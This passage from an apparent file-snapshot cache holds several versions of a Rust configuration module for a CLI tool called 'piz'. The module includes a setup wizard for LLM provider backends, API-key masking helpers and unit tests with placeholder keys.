\"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 168);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "73c4934d71b72f3e4942290b49c28d5235875253": {"t": 1785760763.805515, "n": 17965, "h": "bd43d7ce989d3783", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "03fb59271d50a888718bd02aab292d0f4589f734": {"t": 1785760765.3328063, "n": 17341, "h": "bd3b442eef13fbe5", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn 